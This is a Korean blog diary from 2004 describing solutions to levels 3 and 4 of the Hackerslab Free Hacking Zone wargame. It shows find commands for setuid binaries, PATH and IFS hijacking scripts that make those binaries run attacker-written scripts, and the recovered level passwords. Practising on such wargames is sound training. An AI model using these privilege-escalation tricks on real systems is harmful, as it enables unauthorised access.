'hackerslab'에 해당되는 글 4건
- 2004/06/10 6월 9일자 User Friendly
- 2004/04/19 level 5 획득 ...
- 2004/04/19 level 4 획득 ...
- 2004/04/05 게임을 시작하며...
현재레벨: level4
문제:
리눅스에 들어 있는 게임을 종종 즐기곤 하는 김모씨는 하도 심심하여 게임의 소스 파일에 특정 코드를 삽입하여
다시 컴파일 하였다. 김모씨가 왜 그랬는지 이해하는 사람은 아무도 없다. 아무튼 여러분은 김모씨의 어리석은 행위를 이해할 필요는
없고, 이를 이용하여 다음 레벨을 획득하면 된다.
Hint - 어줍잖은 김모씨는 단 한 줄만 소스에 추가했다고 한다.
현재 레벨4이고 레벨5의 패스워드를 알아야한다.
$ find / -user level5 -group level4 -perm -4000 -exec ls -l {} \; 2> /dev/null
-rwsr-x--- 1 level5 level4 30422 Jan 10 2003 /usr/games/trojka
/usr/games/trojka 파일에 setuid가 걸려있다.
실행시켜보자.
$ /usr/games/trojka
썰렁한 테트리스 게임이 시작된다.
게임이 끝나고 몇가지 입력을 받는데 쉘상에서의 프롬프트 같은건 눈을씻고 찾아봐도 없다.
문제를 보면, 김모씨가 게임의 소스를 변경시켜 다시 컴파일 했다고 했다.
바이너리 파일명이 trojka이니 소스파일은 trojka.c 가 아닐까? 찾아보자...
$ find / -name trojka.c 2> /dev/null
$
없다..
그럼 소스파일에 어떠한 변경을 가해서 level5의 권한을 가질 수는 없다.
문제를 다시보면... 힌트에 김모씨는 단지 한줄만의 소스를 추가했다고 한다.
그 한줄이 어떠한 소스인지는 모르지만 김모씨가 어리석은 사람(?)임을 감안하면 분명 보안상에 취약하게 소스에 exec나 system 함수를 사용했을 것이다.
게임을 다시한번 실행시켜보면...
처음 실행시키면 그냥 빈 공백만 생긴다.
거기서 아무 키나 누르면 게임스피드를 선택할 수있는 입력을 받는 부분이 있고 게임이 시작된다.
중요한건 처음 실행시 바로 게임스피드를 선택할 수있는 부분이 나오는게 아니고 공백이 나온다는 것이다.
유닉스에서 쉘의 화면을 깨끗하게 정리하는 명령어가 있다.
/usr/bin/clear
아마 김모씨는 /usr/bin/clear 명령어를 코드에 집어넣고 다른 키 입력을 받은 후에야 다음 단계로 넘어갈 수있게 소스를 바꾸고 컴파일 한거 같다.
만약 /usr/bin/clear 을 코드에 집어 넣었다면 문제는 의외로 간단하게 해결된다.
level4를 뚫을때 사용했던 방법이다.
먼저 clear의 경로를 확인하자
$ ls -l /usr/bin/clear
참고로 해커스랩 프리해킹존에서 which 명령의 실행권을 일반유저에겐 주어져 있지않다.
각자 요령껏 clear의 경로를 확인하면 되겠다.
쉘스크립트를 만들어보자.
$ cat > proc
#!/bin/sh
export PATH=.:$PATH
export IFS='/'
/usr/games/grojka
^D
실행시 usr bin clear 을 실행시키기 때문에 usr 스크립트를 만들어둔다.
$ cat > usr
#!/bin/sh
/bin/pass
^D
$ sh ./proc
다행스럽게 level5의 패스워드가 나왔다.
김모씨는 /usr/bin/clear 명령어를 소스코드에 집어 넣었던 것이다.
level5 password : Slient night,holy night!
현재레벨: level3
문제:
항상 약속을 자주 잊어 버리는 서모씨는 번번히 주위로부터 원망을 산다. 서모씨는 고심하던 중 자신이 매일
아침 리눅스 서버에 로긴한다는 사실을 알고는 매번 로긴할 때마다 오늘의 날짜를 알려주면 편리하겠다는 사실을 알았다. 그래서
date 컴맨드를 이용하여 오늘의 날짜만 YYYY-MM-DD 형식으로 간단히 출력해주는 프로그램을 씨언어를 이용해서 프로그래밍을
하고는 누가 볼까 두려워 특정 디렉토리에 꽁꽁 숨겨 두었다.
이를 찾아서 다음 레벨을 진입하시오.
level4에 setuid에 걸린 파일을 찾아본다.
$ find / -user level4 -group level3 -perm -4000 -exec ls -l {} \; 2> /dev/null
-rws--x--- 1 level4 level3 13781 Oct 26 2002 /usr/man/pt_BR/man8/today
/usr/man/pt_BR/man8/today 라는 파일에 setuid가 걸려있다.
실행시켜보면...
$ /usr/man/pt_BR/man8/today
04/18/04
오늘 날짜가 출력된다.
문제에서 서씨는 date 커맨드를 사용해서 만들었다고 했다.
그럼 /usr/man/pt_BR/man8/today 바이너리의 소스파일엔 /bin/date 를 실행시키는 부분이 들어있을 것이다.
현재 레벨은 3이고 레벨 4의 권한을 가진상태에서 /bin/pass를 리턴해야 레벨4의 암호를 알 수있는데 ../today 를 실행시키면 실행시킨 다음 프롬프트로 되돌아 오기때문에 그럴 여유가 없다.
문제를 해결하기위해선 일단 /usr/man/pt_BR/man8/today 파일에 조작을 가해야 한다.
이를 쉘프로그램으로 돌려보자.
$ cat > proc
#!/bin/sh
export PATH=.:$PATH
export IFS='/'
/usr/man/pt_BR/man8/today
^D
PATH변수에 현재 디렉토리가 맨먼저 검색되도록 추가를 했다.
두번째, IFS(Internal Field Seperator) 변수의 값을 / 로 바꾸고 그 이하 프로세스에도 적용되도록 전역변수화 시켰다.
IFS값은 쉘 내부에서 커맨드나 인수를 구분하게하는 구분자이다. 이것에 변칙적으로 변경해서 쉘을 조작하기 위함이다.
마지막으로 /usr/man/pt_BR/man8/today 바이너리를 실행시킨다.
$ sh ./proc
sh: bin: command not found
bin 이란 명령어를 해당 path에서 찾을 수없다는 메세지가 나온다.
그 이유는 간단하다.
앞서 서씨는 /bin/date 명령어를 사용해서 바이너리를 만들었다.
즉, /usr/man/pt_BR/man8/today를 실행시키면 실제적으론 /bin/date가 실행된다.
내부구분자를 / 로 바꾸었기때문에 실제로 실행되는것은 bin date 가 되는 것이다.
그리고 각각 bin 과 date 를 실행시키려고 하는데 bin 이란 바이너리(또는 쉘스크립트)가 path에 존재하지 않기 때문에 나오는 메세지인것이다.
그럼 bin 이란 스크립트를 만들면 된다.
$ cat > bin
#!/bin/sh
/bin/pass
^D
$ chmod 700 bin
이제 실행 시켜보면 원하는 답이 나올것이다.
level4 password : AreUReady?
언젠가 hackerslab에서 F.H.Z(Free Hacking Zone)에 푹 빠져있었던 적이 있습니다.
level6인가 7까지 뚫은거 같은데 무엇때문이었는지 그만 두게되었죠..
지금 생각해보면 어려워서 중간에 포기 비스무리하게 했던거 같군요..ㅋ
그래서 이번 기회에 다시한번 해볼려고 생각합니다.
저도 직장생활을 하는 입장인지라 마냥 게임에만 빠질 수 없고 오늘처럼 휴일에, 시간날때, 너무너무 심심할때.. 머리 식힐겸 도전을 해보죠...
http://www.hackerslab.org/korg/index.fhz?menu=fhz&pos=center
| What is F.H.Z? | |
|
[chan@linux chan]$ telnet drill.hackerslab.org
Trying 203.239.110.20...
Connected to drill.hackerslab.org.
Escape character is '^]'.
If I Were a Frog
I wish I were a bright green frog,
I'd sleep each day on a sunny log.
And for a snack I'd eat a fly
Whenever one came buzzing by.
I'd leap, then swim in a pretty lake,
And do frog things, for goodness sake.
It would be great but I suppose
That I would miss Spaghettios!
- Grandpa Tucker
..
.' @`._
~ ...._.' ,__.-;
_..------/` .-' ~
: __./' , .'-'--.._
~ `---(.-'''---. ._ `. ~
_.--'( .______.'.-' `-.` `.
: `-..____`-. ;
`. ```` ; ~
`-.__ __.-'
````-----.......-----''' ~
~ ~
New admin : frog@hackerslab.com
Welcome to F.H.Z of Hackerslab !
- login as level 0 (level zero without space)
password 'guest' if you're here for the 1st time.
login:
시작해 볼까 ~~~

해커스랩의 자랑이자 최고의 서비스! 프리 해킹 존에 오신것을 환영합니다!

댓글을 달아 주세요